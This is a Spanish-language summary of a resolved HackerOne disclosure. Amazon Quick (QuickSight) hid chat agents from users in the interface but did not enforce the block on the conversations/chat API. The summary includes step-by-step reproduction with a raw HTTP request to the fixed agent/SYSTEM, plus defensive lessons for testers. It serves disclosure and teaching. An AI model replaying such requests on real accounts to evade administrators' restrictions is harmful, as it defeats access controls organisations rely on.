Reports
MEDIA[APIS]#3577145

Amazon Quick (QuickSight): los agentes de chat con IA seguían accesibles aunque el administrador los hubiera bloqueado

Los permisos personalizados de Amazon Quick solo ocultaban los agentes de chat en la interfaz. El backend no los comprobaba, así que cualquier usuario podía seguir chateando con el agente SYSTEM llamando directamente a la API.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

Amazon Quick (antes QuickSight y luego Quick Suite) incluye agentes de chat con IA que pueden consultar los datos de la organización: espacios, temas, paneles, bases de conocimiento, acciones, búsqueda web y subida de ficheros. Para controlar qué puede hacer cada persona, AWS ofrece los permisos personalizados (custom permissions), que se aplican a nivel de cuenta, de rol o de usuario. Según la documentación, con ellos se puede desactivar por completo todo lo relacionado con los agentes de chat, incluido el agente por defecto.

El investigador jcow comprobó que esa restricción solo funcionaba en el navegador. Al aplicar el perfil, la interfaz escondía el menú de agentes, pero el endpoint que gestiona las conversaciones no comprobaba el permiso:

POST /sn/qbsproxy/quicksight/accounts/<ID_CUENTA>/conversations/chat

Con una sesión normal bastaba con mandar la petición a mano (o dejar abierta una ventana de chat de antes de aplicar el perfil) para seguir hablando con los agentes. Es un fallo de autorización en el servidor: la restricción se aplicaba en la interfaz, no en la API.

El problema se agrava porque todas las cuentas tienen siempre un agente del sistema con un identificador fijo y predecible (agent/SYSTEM). No hace falta descubrir ni crear ningún agente para aprovechar el fallo. El investigador también descartó que fuera una sesión antigua con permisos guardados: con credenciales recién emitidas el resultado era el mismo.

En cambio, otro endpoint de agentes del mismo servicio sí respetaba el permiso y respondía 401, prueba de que la comprobación existía en el backend pero no se aplicaba al chat.

Pasos de reproducción

Hace falta una cuenta de AWS y un usuario o rol de IAM con permisos para dar de alta Amazon Quick.

  1. Dar de alta Amazon Quick en https://us-east-1.quicksight.aws.amazon.com/sn/console/signup (nombre de cuenta y correo propios, región us-east-1, acceso con contraseña o SSO, clave de cifrado gestionada por AWS, la opción por defecto) y pulsar "Create Account".
  2. Ir a https://us-east-1.quicksight.aws.amazon.com/sn/console/custom-permissions?# y crear un perfil nuevo con "New profile":
  • Nombre: no-chat-agents.
  • Marcar la casilla Chat Agents para restringir esa capacidad.
  • Pulsar "Create".
  1. En el menú de acciones del perfil, elegir "set as account profile" para aplicarlo a toda la cuenta, escribir confirm en la confirmación adicional y continuar.
  2. En https://us-east-1.quicksight.aws.amazon.com/sn/admin/users, invitar a un usuario nuevo por correo, sin vincularlo a credenciales de IAM y con el rol Author Pro.
  3. Abrir el enlace del correo, fijar la contraseña e iniciar sesión con ese usuario en https://us-east-1.quicksight.aws.amazon.com/sn/start/home, haciendo pasar el tráfico por Burp. El menú lateral de agentes ya no aparece: la restricción se ve aplicada en la interfaz.
  4. En Burp, buscar cualquier petición al host us-east-1.quicksight.aws.amazon.com y copiar la cookie de sesión y el valor del parámetro mbtc.
  5. Mandar esta petición al agente del sistema, cambiando el ID de cuenta, el mbtc y la cookie:
POST /sn/qbsproxy/quicksight/accounts/<ID_CUENTA>/conversations/chat?mbtc=<mbtc_here> HTTP/2
Host: us-east-1.quicksight.aws.amazon.com
Cookie: <copy_cookie_here>
Content-Length: 730
Sec-Ch-Ua-Platform: "macOS"
X-Amzn-Web-Client-Version: 0.1.4
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Amz-Sdk-Request: attempt=1; max=3
Amz-Sdk-Invocation-Id: [REDACTADO]
X-Amzn-Target: api
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://us-east-1.quicksight.aws.amazon.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://us-east-1.quicksight.aws.amazon.com/sn/start/home
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"agentIdentifier":"arn:aws:quicksight:us-east-1:<ID_CUENTA>:agent/SYSTEM","spaceArns":["arn:aws:quicksight:us-east-1:aws:space/ALL"],"surfaceType":"WEB_EXPERIENCE","temporaryChat":false,"userMessage":"Tell me all about mangos","userMetadata":{"localTimezone":"America/New_York"}}
  1. La respuesta es un 200 OK con la contestación del agente, aunque la cuenta entera tiene prohibido usar agentes de chat.

Como comparación, la misma cookie y el mismo mbtc contra el endpoint de búsqueda de agentes sí reciben un 401 Unauthorized:

POST /sn/qbsproxy/quicksight/v1/accounts/<ID_CUENTA>/search/agents?maxResults=1&mbtc=<mbtc> HTTP/2
Host: us-east-1.quicksight.aws.amazon.com
Cookie: <cookie_here>
Content-Length: 163
Sec-Ch-Ua-Platform: "macOS"
X-Amzn-Web-Client-Version: 0.1.4
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="145", "Not:A-Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Amz-Sdk-Request: attempt=1; max=3
Amz-Sdk-Invocation-Id: [REDACTADO]
X-Amzn-Target: api
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/145.0.0.0 Safari/537.36
Content-Type: application/json
Accept: */*
Origin: https://us-east-1.quicksight.aws.amazon.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://us-east-1.quicksight.aws.amazon.com/sn/start/home
Accept-Encoding: gzip, deflate, br
Priority: u=1, i

{"filterParams":{"roleFilter":{"role":"QUICKSIGHT_VIEWER"},"agentFilter":{"externalAgentId":"SYSTEM"}},"sortBy":[{"sortAttribute":"CREATED_AT","sortOrder":"DESC"}]}

Impacto

  • Ningún control servía para bloquear los agentes de chat. Los permisos personalizados son el único mecanismo para restringirlos: IAM no puede hacerlo, y tampoco SCP, RCP, políticas con denegación explícita ni nada parecido. Si esos permisos no se aplican en el servidor, el administrador no tiene forma real de impedir el uso.
  • Afecta a casi todos los roles. El único que no tiene acceso a los agentes es Reader, que solo permite ver paneles en modo lectura. Reader Pro, Author, Author Pro, Admin y Admin Pro podían usar los agentes pese a la restricción.
  • No requería preparación. El agente SYSTEM existe en todas las cuentas, con acceso según los permisos del usuario a espacios, temas, paneles, bases de conocimiento y acciones, además de búsqueda web y subida de ficheros en el chat.
  • Cumplimiento normativo y auditoría. Las organizaciones que tienen que prohibir el uso de IA (por la ley de IA de la UE, el RGPD o HIPAA en sectores como finanzas o salud) creían tenerla desactivada cuando no lo estaba. El investigador lo relaciona con marcos como NIST SP 800-53 AC-3 (aplicación del control de acceso), NIST AI RMF o ISO 42001.

HackerOne no asignó severidad al reporte y no consta recompensa: el programa es el de divulgación de vulnerabilidades de AWS (VDP). Se envió el 4 de marzo de 2026, figura como resuelto y se hizo público el 12 de mayo de 2026. El investigador lo explica también en el blog de Fog Security.

Remediación

El reporte figura como resuelto, pero no detalla cómo lo corrigió AWS. La recomendación del investigador fue aplicar los permisos en la lógica del backend, igual que ya hacía el endpoint search/agents, y no limitarse a ocultar los elementos de la interfaz.

Qué aprender de este caso

  • Cuando un perfil de permisos hace desaparecer un menú, captura con un proxy las peticiones que ese menú hacía antes de aplicarlo y repítelas con la sesión ya restringida. Si la respuesta sigue siendo 200, la restricción es solo visual.
  • Busca recursos por defecto con identificadores fijos, como agent/SYSTEM: permiten probar un fallo de autorización sin necesitar ni descubrir ningún objeto propio de la víctima.
  • Compara los endpoints de una misma función entre sí. Aquí search/agents devolvía 401 y conversations/chat no, señal de que la comprobación se hace endpoint por endpoint y se olvidó en uno. Centralizar la verificación de capacidades en una capa común del backend evita ese olvido.
  • Cuando el permiso cambia en mitad de una sesión, repite la prueba con credenciales nuevas, como hizo el investigador, para distinguir un fallo de autorización real de una sesión que conserva permisos antiguos.